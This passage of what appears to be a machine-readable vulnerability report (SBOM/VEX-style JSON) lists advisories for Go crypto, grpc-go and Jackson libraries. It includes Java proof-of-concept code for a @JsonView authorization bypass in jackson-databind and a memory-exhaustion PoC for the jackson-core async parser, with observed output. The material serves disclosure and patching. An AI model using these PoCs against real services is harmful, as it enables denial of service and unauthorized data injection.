deadlocking the entire connection. Now, we add an atomic established state, set when a channel becomes usable. Until such a time, handlePacket drops every packet other than the open confirmation/failure, without blocking and without tearing down the connection.", "recommendation": "Upgrade golang.org/x/crypto to version 0.56.0", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-78662" }, { "url": "https://go.dev/cl/826504" }, { "url": "https://go.dev/issue/81316" }, { "url": "https://groups.google.com/g/golang-announce/c/1y3fb2np35U" }, { "url": "https://pkg.go.dev/vuln/GO-2026-6354" } ], "published": "2026-09-02T20:17:37+00:00", "updated": "2026-09-03T16:37:52+00:00", "affects": [ { "ref": "pkg:golang/golang.org/x/crypto@v0.52.0", "versions": [ { "version": "v0.52.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.52.0", "versions": [ { "version": "v0.52.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.52.0", "versions": [ { "version": "v0.52.0", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/crypto@v0.52.0" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/crypto@v0.51.0" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/golang.org/x/crypto@v0.51.0" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:golang/golang.org/x/crypto@v0.52.0" } ] }, { "id": "CVE-2026-84304", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Ago" }, "ratings": [], "cwes": [ 400 ], "description": "gRPC-Go is the Go language implementation of gRPC. Prior to 1.83.1, internal/transport/transport.go stores each fragmented HTTP/2 DATA frame as a separate recvMsg in recvBuffer, so millions of one-byte frames can consume disproportionate heap memory even when payload bytes remain within connection and stream flow-control windows. An unauthenticated remote attacker can use concurrent multiplexed streams to exhaust process memory and cause a runtime panic or out-of-memory termination. Receive-buffer compaction is enabled by default and can be controlled temporarily with GRPC_GO_EXPERIMENTAL_ENABLE_RECEIVE_BUFFER_COMPACTION. This issue is fixed in version 1.83.1.", "recommendation": "Upgrade google.golang.org/grpc to version 1.83.1", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-84304" }, { "url": "https://github.com/grpc/grpc-go" }, { "url": "https://github.com/grpc/grpc-go/commit/7354d9c8debb4bcf2225bf429857078de310c176" }, { "url": "https://github.com/grpc/grpc-go/commit/8cfeca0e1ee5ea0980dcc320e20240fa1079ec77" }, { "url": "https://github.com/grpc/grpc-go/pull/9331" }, { "url": "https://github.com/grpc/grpc-go/pull/9333" }, { "url": "https://github.com/grpc/grpc-go/releases/tag/v1.83.1" }, { "url": "https://github.com/grpc/grpc-go/security/advisories/GHSA-vp52-pcj8-j9qc" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84304" } ], "published": "2026-09-01T19:17:30+00:00", "updated": "2026-09-01T20:17:24+00:00", "affects": [ { "ref": "pkg:golang/google.golang.org/grpc@v1.80.0", "versions": [ { "version": "v1.80.0", "status": "affected" } ] }, { "ref": "pkg:golang/google.golang.org/grpc@v1.81.1", "versions": [ { "version": "v1.81.1", "status": "affected" } ] }, { "ref": "pkg:golang/google.golang.org/grpc@v1.81.1", "versions": [ { "version": "v1.81.1", "status": "affected" } ] }, { "ref": "pkg:golang/google.golang.org/grpc@v1.80.0", "versions": [ { "version": "v1.80.0", "status": "affected" } ] }, { "ref": "pkg:golang/google.golang.org/grpc@v1.80.0", "versions": [ { "version": "v1.80.0", "status": "affected" } ] }, { "ref": "pkg:golang/google.golang.org/grpc@v1.81.1", "versions": [ { "version": "v1.81.1", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/google.golang.org/grpc@v1.80.0" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/google.golang.org/grpc@v1.81.1" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/google.golang.org/grpc@v1.80.0" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:golang/google.golang.org/grpc@v1.81.1" } ] }, { "id": "GHSA-hrxh-6v49-42gf", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Ago" }, "ratings": [], "description": "Multiple security vulnerabilities have been identified and addressed in grpc-go affecting the xDS RBAC authorization engine (internal/xds/rbac) and the HTTP/2 transport server implementation (internal/transport). These vulnerabilities could result in:\n\n- Authorization Bypass (Fail-Open) when translating xDS RBAC policies containing `Metadata` or `RequestedServerName` fields.\n- Denial of Service (High CPU Consumption) due to an HTTP/2 Rapid Reset mitigation bypass during client-initiated stream resets.\n- Denial of Service (Server Panic) when parsing crafted xDS RBAC policies containing `NOT` rules around unsupported fields.\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\n#### xDS RBAC Authorization Bypass via `Metadata` & `RequestedServerName` matchers\n\n- Affected Component: xDS RBAC \n- Impact: When building policy matchers for gRPC RBAC from xDS configurations, unsupported `permission` and `principal` rules (specifically `Metadata` and `RequestedServerName`) were silently ignored and treated as no-ops.\n - If an authorization policy relied purely on these matchers for access control, treating those rules as no-ops effectively removed the restrictions.\n- If these unsupported rules were nested inside logical `NOT` rules (`Permission_NotRule` / `Principal_NotId`) or multi-condition `OR/AND` rules, silently dropping them changed the boolean logic flow of the authorization engine.\n\nAs a result, policy evaluation decisions could fail open, allowing unauthorized clients to access protected gRPC services or resources.\n\n#### HTTP/2 Rapid Reset Mitigation Bypass / Denial of Service via Stream Aborts\n\n- Affected Component: HTTP/2 transport\n- Impact: Earlier mitigations in grpc-go for HTTP/2 Rapid Reset only applied threshold checks to items that directly resulted in control frames being written back to the wire, such as `SETTINGS` ACKs or server-initiated `RST_STREAM`s.\n\nWhen a client initiated a rapid flood of stream creation (`HEADERS`) immediately followed by stream termination `RST_STREAM`, items queued up in the control buffer without counting against the transport response frame threshold. An attacker can repeatedly trigger this flood sequence to bypass reader blocking, resulting in high CPU usage, and Denial of Service (DoS).\n\n#### Denial of Service (Panic) in xDS RBAC Engine via Unsupported Fields inside NOT Rules\n\n- Affected Component: xDS RBAC \n- Impact: The xDS RBAC policy translators recursively generate matchers for nested rules. When a `NOT` rule wrapped an unsupported or unhandled field (such as `SourcedMetadata`), the recursive step returned an empty matcher. This could result in a runtime panic when the RBAC engine attempts to authorize an incoming request.\n\nAn attacker or misconfigured/malicious xDS management server delivering an LDS/RDS update containing a `NOT` rule around an unhandled field causes the gRPC server process to crash immediately (CWE-248 / Denial of Service).\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nAll three issues have been fixed in `master` and will be released in 1.82.1 shortly.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nIf upgrading grpc-go immediately is not possible, apply the following workarounds based on your deployment architecture:\n\n* For xDS RBAC Vulnerabilities & Panics: Ensure that upstream xDS management servers do not push RBAC policies containing `Metadata`, `RequestedServerName`, or `NOT` rules wrapping unsupported fields (such as `SourcedMetadata`) to grpc-go servers.\n* For HTTP/2 Rapid Reset DOS: Configure upstream reverse proxies or load balancers (such as Envoy) with strict HTTP/2 `max_concurrent_streams` limits and active rate limiting on `RST_STREAM` frequency per connection.\n\n### Severity\n\n | Vulnerability | Qualitative Severity | Approximate CVSS v3.1 Score | Primary Impact |\n | :--- | :--- | :--- | :--- |\n | **xDS RBAC Authorization Bypass** | **High** | `8.2` | Unauthorized Access / Fail-Open |\n | **HTTP/2 Rapid Reset DOS Bypass** | **High** | `7.5` | High CPU Consumption / Denial of Service |\n | **xDS RBAC Engine Server Panic** | **Medium** | `5.9` | Process Crash / Denial of Service |", "recommendation": "Upgrade google.golang.org/grpc to version 1.82.1", "advisories": [ { "url": "https://github.com/advisories/GHSA-hrxh-6v49-42gf" }, { "url": "https://github.com/grpc/grpc-go" }, { "url": "https://github.com/grpc/grpc-go/commit/4ea465d4ab98013f72a142fe0fc89c19770b2935" }, { "url": "https://github.com/grpc/grpc-go/pull/9236" }, { "url": "https://github.com/grpc/grpc-go/releases/tag/v1.82.1" }, { "url": "https://github.com/grpc/grpc-go/security/advisories/GHSA-hrxh-6v49-42gf" } ], "published": "2026-07-21T22:03:55+00:00", "updated": "2026-07-21T22:03:56+00:00", "affects": [ { "ref": "pkg:golang/google.golang.org/grpc@v1.80.0", "versions": [ { "version": "v1.80.0", "status": "affected" } ] }, { "ref": "pkg:golang/google.golang.org/grpc@v1.81.1", "versions": [ { "version": "v1.81.1", "status": "affected" } ] }, { "ref": "pkg:golang/google.golang.org/grpc@v1.81.1", "versions": [ { "version": "v1.81.1", "status": "affected" } ] }, { "ref": "pkg:golang/google.golang.org/grpc@v1.80.0", "versions": [ { "version": "v1.80.0", "status": "affected" } ] }, { "ref": "pkg:golang/google.golang.org/grpc@v1.80.0", "versions": [ { "version": "v1.80.0", "status": "affected" } ] }, { "ref": "pkg:golang/google.golang.org/grpc@v1.81.1", "versions": [ { "version": "v1.81.1", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/google.golang.org/grpc@v1.80.0" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/google.golang.org/grpc@v1.81.1" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/google.golang.org/grpc@v1.80.0" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:golang/google.golang.org/grpc@v1.81.1" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. The affected grpc module reaches the product only through bundled Prometheus and Alertmanager binaries, used solely as an optional, disabled-by-default outbound tracing client with no gRPC server or xDS code path." } }, { "id": "GHSA-mhm7-754m-9p8w", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N" } ], "description": "## Summary\n\nIn `BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId`, the active-view (`@JsonView`) filter was applied only to the regular bean-property branch; the creator-property branch performed no `creatorProp.visibleInView(activeView)` check. A constructor parameter annotated with both `@JsonView(RestrictedView.class)` and `@JsonTypeInfo(use=Id.NAME,\n include=As.EXTERNAL_PROPERTY)` is populated from attacker JSON even when a more restrictive view is active.\n\n This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 (\"Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer\", commit 7dc7a17, 2026-05-22) but\n **the fix was never backported to 2.21 or 2.18**. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same `@JsonView` bypass technique via a different code path.\n\n## Vulnerable Code Path\n\nFile: `com/fasterxml/jackson/databind/deser/BeanDeserializer.java`\nMethod: `deserializeUsingPropertyBasedWithExternalTypeId`\n\nOn 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks `creatorProp.isInjectionOnly()` and hands off to `ext.handlePropertyValue(...)` / `buffer.assignParameter(...)` without ever consulting `visibleInView(activeView)`:\n\n ```java\n if (creatorProp != null) {\n // [databind#1381]: if useInput=FALSE, skip deserialization from input\n if (creatorProp.isInjectionOnly()) { ... }\n // NO visibleInView(activeView) CHECK HERE\n if (!ext.handlePropertyValue(p, ctxt, propName, null)) {\n if (buffer.assignParameter(creatorProp, ...)) { ... }\n }\n continue;\n }\n```\n\nOn 3.1.4, the same branch contains the additional guard (commit 7dc7a17):\n\n ```java\n if (creatorProp != null) {\n // [databind#5971]: must honor active view here too\n if ((activeView != null) && !creatorProp.visibleInView(activeView)) {\n p.skipChildren();\n continue;\n }\n ...\n }\n```\n\nThe 2.21 and 2.18 backport PRs (#6005 and #6003) only backported the main-path fixes from #5969/#5971; the external-type-id fix from #6004 was not backported. The maintainer closed #6005\n with \"got changes merged forward, looks like it's all covered now\", but the forward-merge did not include the ExtTypeId creator branch.\n\n Proof of Concept\n\n Compiles and runs against jackson-databind 2.21.4:\n \n```java\n import com.fasterxml.jackson.annotation.*;\n import com.fasterxml.jackson.databind.ObjectMapper;\n\n public class JsonViewExternalTypeIdBypass {\n public static class PublicView {}\n public static class AdminView extends PublicView {}\n\n public static abstract class Asset { public String name; }\n public static class PublicAsset extends Asset {}\n public static class AdminAsset extends Asset { public String secret; }\n\n public static class Container {\n @JsonTypeInfo(use = JsonTypeInfo.Id.NAME,\n include = JsonTypeInfo.As.EXTERNAL_PROPERTY,\n property = \"kind\")\n @JsonSubTypes({\n @JsonSubTypes.Type(value = PublicAsset.class, name = \"pub\"),\n @JsonSubTypes.Type(value = AdminAsset.class, name = \"admin\")\n })\n @JsonView(AdminView.class)\n public Asset asset;\n\n public String label;\n\n @JsonCreator\n public Container(\n @JsonProperty(\"label\") String label,\n @JsonProperty(\"asset\") @JsonView(AdminView.class) Asset asset) {\n this.label = label;\n this.asset = asset;\n }\n }\n\n public static class Wrapper {\n @JsonView(PublicView.class)\n public Container data;\n }\n\n public static void main(String[] args) throws Exception {\n // Admin-only \"asset\" should be blocked when reading with PublicView\n String json = \"{\\\"data\\\":{\\\"label\\\":\\\"hello\\\",\\\"kind\\\":\\\"admin\\\",\"\n + \"\\\"asset\\\":{\\\"name\\\":\\\"foo\\\",\\\"secret\\\":\\\"LEAKED\\\"}}}\";\n\n ObjectMapper om = new ObjectMapper();\n Wrapper r = om.readerWithView(PublicView.class)\n .forType(Wrapper.class)\n .readValue(json);\n\n System.out.println(r.data);\n // Actual on 2.21.4: Container{label='hello', asset=AdminAsset{name='foo', secret='LEAKED'}}\n // Expected (secure): Container{label='hello', asset=null}\n if (r.data.asset != null && r.data.asset instanceof AdminAsset) {\n System.out.println(\"[!!] BYPASS CONFIRMED \u2014 admin-only asset populated under PublicView\");\n }\n }\n }\n```\n\nA control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId\n code path and not a misconfiguration.\n\n### Impact\n\n View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot\n REST controllers that use @JsonView(PublicView.class) on the request body to whitelist user-settable fields \u2014 an attacker can inject the restricted creator parameter (including choosing\n the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field.\n\n- CWE-863 (Incorrect Authorization)\n- Same impact class as CVE-2026-54517 / CVE-2026-54518\n- No RCE, no DoS \u2014 this is an access-control / mass-assignment bypass\n\n### Trigger Conditions\n\nDeveloper code must combine (no opt-in user configuration required):\n\n1. Property-based @JsonCreator on the outer type\n2. A creator parameter annotated with @JsonView(RestrictedView.class)\n3. The same parameter annotated with @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, property=\"...\")", "recommendation": "Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.9, 2.21.5", "advisories": [ { "url": "https://github.com/advisories/GHSA-mhm7-754m-9p8w" }, { "url": "https://github.com/FasterXML/jackson-databind" }, { "url": "https://github.com/FasterXML/jackson-databind/commit/c628b357ed143d8492756d5c1458cfb9fbeb29ed" }, { "url": "https://github.com/FasterXML/jackson-databind/commit/dea7eb466e98cc226c4ac65587581fb49926820c" }, { "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-mhm7-754m-9p8w" } ], "published": "2026-07-21T19:40:12+00:00", "updated": "2026-07-21T19:40:12+00:00", "affects": [ { "ref": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2", "versions": [ { "version": "2.21.2", "status": "affected" } ] }, { "ref": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2", "versions": [ { "version": "2.21.2", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2" } ], "analysis": { "state": "not_affected", "justification": "", "response": [ "update" ], "detail": null } }, { "id": "GHSA-r7wm-3cxj-wff9", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [], "description": "## Summary\n\nThe fix released in jackson-core `2.18.6` and `2.21.1` for [GHSA-72hv-8253-57qq](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq) (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: \"ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller\".\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) \u2014 a **~20,000x amplification** of the documented `maxNumberLength` (1000 default).\n\nThis is the same vulnerability class, same advisory wording (\"Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers\"), same parser class \u2014 just the streaming path the original fix didn't cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path.\n\n## Affected versions\n\nVerified on the patched releases:\n- `com.fasterxml.jackson.core:jackson-core` **2.18.6**\n- `com.fasterxml.jackson.core:jackson-core` **2.21.1**\n\nStructurally identical code in `tools.jackson.core` 3.0.x / 3.1.x \u2014 same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.\n\n## Affected code\n\n[`src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java`](https://github.com/FasterXML/jackson-core/blob/b0c428e6/src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java) in 2.18.6 / 2.21.1.\n\n### Site 1 \u2014 `_startPositiveNumber(int ch)` lines 1320-1330:\n\n```java\nif (outPtr >= outBuf.length) {\n // NOTE: must expand to ensure contents all in a single buffer (to keep\n // other parts of parsing simpler)\n outBuf = _textBuffer.expandCurrentSegment();\n}\noutBuf[outPtr++] = (char) ch;\nif (++_inputPtr >= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr)\n}\n```\n\n### Site 2 \u2014 `_finishNumberIntegralPart` lines 1691-1727:\n\n```java\nprotected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n int negMod = _numberNegative ? -1 : 0;\n\n while (true) {\n if (_inputPtr >= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr + negMod)\n }\n int ch = getByteFromBuffer(_inputPtr) & 0xFF;\n if (ch < INT_0) {\n if (ch == INT_PERIOD) {\n _setIntLength(outPtr+negMod); // <-- validated here\n ++_inputPtr;\n return _startFloat(outBuf, outPtr, ch);\n }\n break;\n }\n if (ch > INT_9) {\n if ((ch | 0x20) == INT_e) {\n _setIntLength(outPtr+negMod); // <-- validated here\n ++_inputPtr;\n return _startFloat(outBuf, outPtr, ch);\n }\n break;\n }\n ++_inputPtr;\n if (outPtr >= outBuf.length) {\n outBuf = _textBuffer.expandCurrentSegment();\n }\n outBuf[outPtr++] = (char) ch;\n }\n _setIntLength(outPtr+negMod); // <-- validated here\n _textBuffer.setCurrentLength(outPtr);\n return _valueComplete(JsonToken.VALUE_NUMBER_INT);\n}\n```\n\nThe pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 \u2014 every \"ran out of input mid-integer\" exit returns to the caller without validating the accumulator length.\n\n### Compare with the fraction path that is correct\n\n`_finishFloatFraction` lines 1827-1838:\n\n```java\nwhile (loop) {\n if (ch >= INT_0 && ch <= INT_9) {\n ++fractLen;\n if (outPtr >= outBuf.length) {\n outBuf = _textBuffer.expandCurrentSegment();\n }\n outBuf[outPtr++] = (char) ch;\n if (_inputPtr >= _inputEnd) {\n _textBuffer.setCurrentLength(outPtr);\n _setFractLength(fractLen); // <-- VALIDATED\n return JsonToken.NOT_AVAILABLE;\n }\n ch = getNextSignedByteFromBuffer();\n }\n ...\n}\n```\n\n## Impact\n\nReactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping `JsonFactory.createNonBlockingByteArrayParser()` or `createNonBlockingByteBufferParser()`) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set `StreamReadConstraints.builder().maxNumberLength(N)` on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to `maxStringLength` (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.\n\nThe synchronous parsers (`UTF8StreamJsonParser`, `ReaderBasedJsonParser`) and the async parser on *complete* input are not affected \u2014 those paths go through `_setIntLength` or `ParserBase._reportTooLongIntegral` correctly.\n\nCWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.\n\n## Proof of concept\n\nStandalone PoC, no Maven required:\n\n```\nmkdir poc && cd poc\ncurl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar\ncat > PoC.java <<'EOF'\nimport com.fasterxml.jackson.core.*;\nimport com.fasterxml.jackson.core.async.ByteArrayFeeder;\n\npublic class PoC {\n public static void main(String[] args) throws Exception {\n StreamReadConstraints strict = StreamReadConstraints.builder()\n .maxNumberLength(1000)\n .build();\n JsonFactory f = new JsonFactoryBuilder()\n .streamReadConstraints(strict)\n .build();\n\n // Sanity: synchronous parser rejects 5000-digit int.\n try (JsonParser p = f.createParser(\"{\\\"v\\\":\" + \"1\".repeat(5000) + \"}\")) {\n while (p.nextToken() != null) { /* drive */ }\n System.out.println(\"[-] BUG ABSENT: sync parser accepted\");\n return;\n } catch (Exception e) {\n System.out.println(\"[+] sync parser rejected 5000-digit int: \" + e.getClass().getSimpleName());\n }\n\n // Bug: async parser, chunked, no terminator.\n JsonParser ap = f.createNonBlockingByteArrayParser();\n ByteArrayFeeder feeder = (ByteArrayFeeder) ap;\n\n byte[] preamble = \"{\\\"v\\\":\".getBytes(\"UTF-8\");\n feeder.feedInput(preamble, 0, preamble.length);\n while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }\n\n byte[] digits = new byte[16 * 1024];\n for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));\n\n for (int c = 0; c < 600; c++) {\n feeder.feedInput(digits, 0, digits.length);\n JsonToken t = ap.nextToken();\n if (t != JsonToken.NOT_AVAILABLE) {\n System.out.println(\"[-] unexpected token: \" + t);\n return;\n }\n }\n System.out.println(\"[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\");\n\n // Closing the number now finally triggers the validator.\n feeder.feedInput(\"}\".getBytes(\"UTF-8\"), 0, 1);\n feeder.endOfInput();\n try {\n while (ap.nextToken() != null) { /* drive */ }\n } catch (Exception e) {\n System.out.println(\"[*] late rejection on close: \" + e.getMessage().split(\"\\n\")[0]);\n }\n ap.close();\n }\n}\nEOF\njavac -cp jackson-core-2.18.6.jar PoC.java\njava -Xmx256m -cp jackson-core-2.18.6.jar:. PoC\n```\n\nObserved output against `jackson-core-2.18.6`:\n\n```\n[+] sync parser rejected 5000-digit int: StreamConstraintsException\n[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\n[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)\n```\n\nObserved output against `jackson-core-2.21.1`: identical.\n\nThe 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is `maxStringLength = 20 MiB`. With the strict policy declared as `maxNumberLength = 1000`, the parser permits **9830x** more allocation than the policy allows. With `maxStringLength` left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of `char[]` heap (chars are 2 bytes each) before the validator finally fires on terminator/`endOfInput()`. Multiply by concurrent connections.\n\n## End-to-end reproduction through real HTTP\n\nSupplements the standalone PoC with a running Spring Boot WebFlux server,\ndriving the same bug through the actual reactor-netty + Jackson2JsonDecoder\nstreaming-decode path that production reactive endpoints use.\n\nSetup:\n- Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)\n- jackson-databind 2.17.2, jackson-core overridden:\n - VULN run: `com.fasterxml.jackson.core:jackson-core:2.18.7` (latest published)\n - PATCHED run: `2.18.8-SNAPSHOT` built from the fix branch\n- JVM: OpenJDK 17.0.18\n- Server `JsonFactory` configured with `StreamReadConstraints.builder().maxNumberLength(1000).build()`\n\nEndpoint under test exposes the `Flux` request body directly to\n`Jackson2JsonDecoder.decode(Flux, ResolvableType, ...)` so the parser sees one\nHTTP chunk per `feedInput` (the same pattern used for any\n`@RequestBody Flux<...>` / streaming JSON decoder in WebFlux). A raw-socket\nHTTP/1.1 chunked client streams `{\"v\":1` then 250 chunks of 200 digit bytes\neach (50,000 digits total) at 20ms intervals, then writes the closing `}`.\n\nVULN \u2014 jackson-core 2.18.7:\n```\n[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting\n[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:\nHTTP/1.1 200 OK\nERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:\n Number value length (50000) exceeds the maximum allowed (1000, ...)\n```\nServer-side controller trace (250 DataBuffer arrivals elided):\n```\n[ctrl] DataBuffer arrived size=6 ms=39 <- '{\"v\":1'\n[ctrl] DataBuffer arrived size=200 ms=42\n...\n[ctrl] DataBuffer arrived size=199 ms=5993\n[ctrl] DataBuffer arrived size=1 ms=6518 <- closing '}'\n[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...\n```\nServer held all 50,000 digit characters in `_textBuffer` for 6.5 seconds with\n`maxNumberLength=1000` declared. The validator never fires during streaming;\nit only fires at value-completion when the closing `}` arrives.\n\nPATCHED \u2014 jackson-core 2.18.8-SNAPSHOT (fix branch):\n```\n[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe\n[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream\n```\nServer-side controller trace:\n```\n[ctrl] DataBuffer arrived size=6 ms=129\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=145\n[ctrl] DataBuffer arrived size=200 ms=146\n[ctrl] DataBuffer arrived size=200 ms=147\n[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)\n```\nPatched server raises `StreamConstraintsException` at 155ms after only 5\nDataBuffers, exactly when the accumulated digit count crosses\n`maxNumberLength=1000`. The connection is reset mid-stream rather than the\nparser silently consuming the rest of the attacker's payload.\n\nSide-by-side:\n\n| Build | Chunks accepted before exception | Digits buffered | Time to detection |\n|---|---|---|---|\n| jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms \u2014 only at terminator |\n| 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms \u2014 moment threshold crossed |\n\nNote on the default `@RequestBody Mono` path: that path cannot\ndistinguish the two builds because Spring's `decodeToMono` joins all\nDataBuffers into one before parsing. The exploitable shape is the\nstreaming-decode path (`Flux` / `@RequestBody Flux<...>` /\nWebSocket / SSE / any direct `decoder.decode(Flux, ...)` call),\nwhich is also what `Jackson2Tokenizer` uses for any streaming JSON\ndeserialization in WebFlux and Quarkus reactive REST.\n\n## Suggested fix\n\nMirror the pattern already used in `_finishFloatFraction`. At every site that returns `_updateTokenToNA()` (or `JsonToken.NOT_AVAILABLE`) with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`, call `_setIntLength(outPtr + negMod)` first. Concretely, the diff to 